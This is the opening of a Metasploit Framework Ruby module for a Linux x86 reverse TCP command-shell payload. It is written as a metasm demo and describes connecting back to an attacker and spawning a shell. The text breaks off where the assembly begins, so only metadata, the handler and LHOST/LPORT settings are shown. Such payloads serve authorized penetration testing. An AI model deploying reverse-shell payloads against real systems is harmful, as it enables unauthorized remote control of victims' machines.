# $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'metasm' require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' module Msf module Payloads module Singles module Linux module X86 module ShellReverseTcp2 include Msf::Payload::Single include Msf::Payload::Linux def initialize(info = {}) # Remark: this function seems to be called a LOT, even before the shellcode is used. # We would better implement some caching. # We decoded skape's shellcode by using irb -r metasm-shell # and: puts shellcode.decode super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm demo', 'Version' => '$Revision$', 'Description' => 'Connect back to attacker and spawn a command shell', 'Author' => 'skape + Yoann Guillot and Julien Tinnes for metasm PoC', 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, 'Session' => Msf::Sessions::CommandShell, 'Payload' => { 'Offsets' => { 'LHOST' => [ 0, 'ADDR' ], 'LPORT' => [ 0, 'n' ], }, 'Assembly' => <